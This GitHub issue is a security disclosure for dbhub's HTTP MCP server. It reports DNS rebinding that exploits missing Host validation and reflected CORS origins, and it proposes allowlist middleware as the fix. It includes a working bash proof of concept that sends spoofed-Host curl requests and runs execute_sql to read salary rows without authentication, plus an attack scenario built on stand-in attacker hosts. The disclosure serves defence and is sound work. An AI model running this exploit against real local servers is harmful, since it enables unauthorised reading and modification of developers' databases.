Skip to content

DNS Rebinding via Missing Host Header Validation #304

Description

@Koukyosyumei

Summary

The Express handler for POST /mcp processes every request regardless of the Host header value. The CORS middleware that precedes it reflects the incoming Origin header unconditionally, and no middleware validates Host:

// src/server.ts — CORS middleware (applied to ALL routes)
app.use((req, res, next) => {
    const origin = req.headers.origin;
    res.header('Access-Control-Allow-Origin', origin || 'http://localhost'); // ← reflects any origin
    res.header('Access-Control-Allow-Credentials', 'true');
    // ...no Host or Origin allowlist check...
    next();
});

// src/server.ts — MCP route (no host guard)
app.post("/mcp", async (req, res) => {
    const transport = new StreamableHTTPServerTransport({ ... });
    const server = createServer();
    await server.connect(transport);
    await transport.handleRequest(req, res, req.body); // ← executes unconditionally
});

Related | CVE-2025-66414 (MCP TypeScript SDK ≤ 1.23.x — no Host validation)

Scenario

  1. The developer runs dbhub --transport=http --demo on their workstation.
  2. The attacker registers attacker.com in DNS pointing to their own server IP.
  3. The developer visits http://attacker.com/exploit.html in their browser.
  4. The attacker's page uses JavaScript fetch() to probe http://attacker.com/mcp.
    At this point, the DNS TTL expires and the attacker re-binds attacker.com to
    127.0.0.1 (the developer's loopback address).
  5. The browser sends subsequent fetch() calls to http://attacker.com/mcp, which
    now resolves to 127.0.0.1:80. Because the request's Origin header is
    http://attacker.com and the server reflects it via Access-Control-Allow-Origin,
    the browser's SOP allows the JavaScript to read the full response.
  6. The attacker calls tools/list to enumerate tools, then execute_sql with
    arbitrary SQL against the connected database — all without any user credential.

Recommendation

Add a Host/Origin allowlist middleware before all route handlers in
src/server.ts:

// Immediately after app = express()
const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);

app.use((req, res, next) => {
    const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
    if (!ALLOWED_HOSTS.has(host)) {
        return res.status(400).json({ error: 'Invalid Host header' });
    }
    const origin = req.headers.origin;
    if (origin) {
        try {
            const originHost = new URL(origin).hostname.toLowerCase();
            if (!ALLOWED_HOSTS.has(originHost)) {
                return res.status(403).json({ error: 'Cross-origin request denied' });
            }
        } catch {
            return res.status(400).json({ error: 'Malformed Origin header' });
        }
    }
    next();
});

PoC

#!/usr/bin/env bash
# =============================================================================
# PoC F-01 — DNS Rebinding via Missing Host Header Validation
# Target  : dbhub v0.21.1  (src/server.ts)
# Finding : DNS-REBIND (High) — CVE-2025-66414
# CVSS    : 8.0 (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L)
#
# What this PoC proves
# --------------------
# dbhub's Express HTTP server processes MCP requests from any Host value.
# This PoC simulates the final two HTTP steps of a DNS rebinding attack:
#
#   Phase 1  (browser → attacker DNS): browser fetches http://attacker.com/
#            → DNS resolves to attacker's real server → page loads exploit JS
#
#   Phase 2  (DNS TTL expires): attacker re-binds attacker.com → 127.0.0.1
#            → browser re-resolves and sends MCP requests to localhost:PORT
#            with Origin: http://attacker.com
#
# This script reproduces Phase 2: it sends real MCP calls to localhost while
# carrying a spoofed Host / Origin so the server believes they come from the
# attacker's domain.  Because the server reflects any Origin in
# Access-Control-Allow-Origin, a real browser would honour the CORS response
# and let the attacker's JS read every byte of the MCP replies.
#
# Usage
# -----
#   # 1. Start dbhub in HTTP mode (demo DB is sufficient)
#   cd /path/to/dbhub
#   npx tsx src/index.ts --transport=http --demo --port=18765 &
#   sleep 3
#
#   # 2. Run this script
#   bash poc_f01_dns_rebind.sh [PORT]   # default port: 18765
#
# Expected result
# ---------------
#   STEP 1 — Host: evil.attacker.com   → HTTP 200, serverInfo in JSON body
#   STEP 2 — Origin: http://evil.com   → ACAO: http://evil.com  (origin reflected!)
#   STEP 3 — execute_sql via spoofed host → employee rows returned without auth
#
# Patched result
# --------------
#   STEP 1 should return HTTP 400 with { "error": "Invalid Host header" }
# =============================================================================

set -euo pipefail

PORT="${1:-18765}"
BASE="http://localhost:${PORT}/mcp"
SPOOFED_HOST="evil.attacker.com"
SPOOFED_ORIGIN="http://evil.attacker.com"

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'

die() { echo -e "${RED}ERROR: $*${NC}" >&2; exit 1; }
ok()  { echo -e "${GREEN}[PASS]${NC} $*"; }
bad() { echo -e "${RED}[VULN]${NC} $*"; }
info(){ echo -e "${YELLOW}[INFO]${NC} $*"; }

echo ""
echo "=== PoC F-01: DNS Rebinding — dbhub v0.21.1 ==="
echo "    Target : ${BASE}"
echo "    Spoofed Host/Origin : ${SPOOFED_HOST}"
echo ""

# ── Sanity: confirm the server is actually running ────────────────────────────
info "Checking that dbhub is listening on port ${PORT}..."
if ! curl -sf -o /dev/null \
       -H "Accept: application/json, text/event-stream" \
       -H "Content-Type: application/json" \
       -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"sanity","version":"0"}}}' \
       "${BASE}"; then
    die "dbhub is not reachable at ${BASE}. Start it first:
  cd /path/to/dbhub && npx tsx src/index.ts --transport=http --demo --port=${PORT} &"
fi
ok "Server is up."
echo ""

# ── STEP 1: MCP initialize with spoofed Host header ──────────────────────────
echo "--- STEP 1: initialize with Host: ${SPOOFED_HOST} ---"

INIT_BODY=$(printf '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "capabilities": {},
    "clientInfo": { "name": "attacker", "version": "1.0" }
  }
}')

INIT_RESP=$(curl -si -X POST "${BASE}" \
  -H "Host: ${SPOOFED_HOST}" \
  -H "Origin: ${SPOOFED_ORIGIN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d "${INIT_BODY}" 2>&1)

HTTP_STATUS=$(echo "${INIT_RESP}" | grep -m1 "^HTTP/" | awk '{print $2}')
echo "  HTTP status : ${HTTP_STATUS}"

if echo "${INIT_RESP}" | grep -q "serverInfo"; then
    SERVER_NAME=$(echo "${INIT_RESP}" | grep -o '"name":"[^"]*"' | head -1)
    bad "Server responded to spoofed Host with a valid MCP response!"
    echo "  Server: ${SERVER_NAME}"
else
    ok "Server rejected spoofed Host (no serverInfo in response)."
    echo "${INIT_RESP}" | tail -5
    echo ""
    echo "Server appears patched. Exiting."
    exit 0
fi
echo ""

# ── STEP 2: Verify CORS Origin reflection ────────────────────────────────────
echo "--- STEP 2: Verify Access-Control-Allow-Origin reflection ---"

ACAO=$(echo "${INIT_RESP}" | grep -i "access-control-allow-origin" | head -1 || true)
if [ -z "${ACAO}" ]; then
    info "No ACAO header in response (may not be needed for this transport mode)."
else
    echo "  ${ACAO}"
    if echo "${ACAO}" | grep -qi "${SPOOFED_ORIGIN}"; then
        bad "Server reflects attacker Origin in ACAO — browser CORS check will pass!"
        bad "A real browser would allow attacker JS to read MCP responses."
    elif echo "${ACAO}" | grep -qi "\*"; then
        bad "ACAO: * — wildcard allows all origins including attacker's."
    else
        ok "ACAO does not reflect attacker origin."
    fi
fi
echo ""

# ── STEP 3: Execute SQL query via spoofed Host (full database access) ─────────
echo "--- STEP 3: Call execute_sql via spoofed Host (no auth) ---"

SQL_BODY=$(printf '{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "execute_sql",
    "arguments": { "sql": "SELECT name, salary FROM employees LIMIT 3" }
  }
}')

SQL_RESP=$(curl -s -X POST "${BASE}" \
  -H "Host: ${SPOOFED_HOST}" \
  -H "Origin: ${SPOOFED_ORIGIN}" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d "${SQL_BODY}" 2>&1)

echo "  Response:"
echo "${SQL_RESP}" | python3 -m json.tool 2>/dev/null || echo "${SQL_RESP}"
echo ""

if echo "${SQL_RESP}" | grep -q '"rows"'; then
    bad "execute_sql returned data through the spoofed-Host session!"
    bad "An attacker can steal all database contents via DNS rebinding."
elif echo "${SQL_RESP}" | grep -qi "error"; then
    info "execute_sql returned an error (may be expected in this DB state)."
    info "The MCP session itself was established — the Host check failed."
else
    info "Unexpected response — inspect manually."
fi
echo ""

# ── Summary ───────────────────────────────────────────────────────────────────
echo "=== Summary ==="
bad "VULNERABLE: dbhub accepts MCP requests with arbitrary Host headers."
echo ""
echo "  Root cause : src/server.ts — no Host/Origin allowlist before POST /mcp"
echo "  Impact     : Browser DNS rebinding allows any website to issue MCP calls"
echo "               (including execute_sql) as the developer's local dbhub instance."
echo "  Fix        : Add middleware before all routes:"
echo ""
cat <<'FIX'
  const ALLOWED_HOSTS = new Set(['localhost', '127.0.0.1', '::1']);
  app.use((req, res, next) => {
      const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
      if (!ALLOWED_HOSTS.has(host)) {
          return res.status(400).json({ error: 'Invalid Host header' });
      }
      const origin = req.headers.origin;
      if (origin) {
          try {
              const originHost = new URL(origin).hostname.toLowerCase();
              if (!ALLOWED_HOSTS.has(originHost)) {
                  return res.status(403).json({ error: 'Cross-origin request denied' });
              }
          } catch { return res.status(400).json({ error: 'Malformed Origin' }); }
      }
      next();
  });
FIX

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions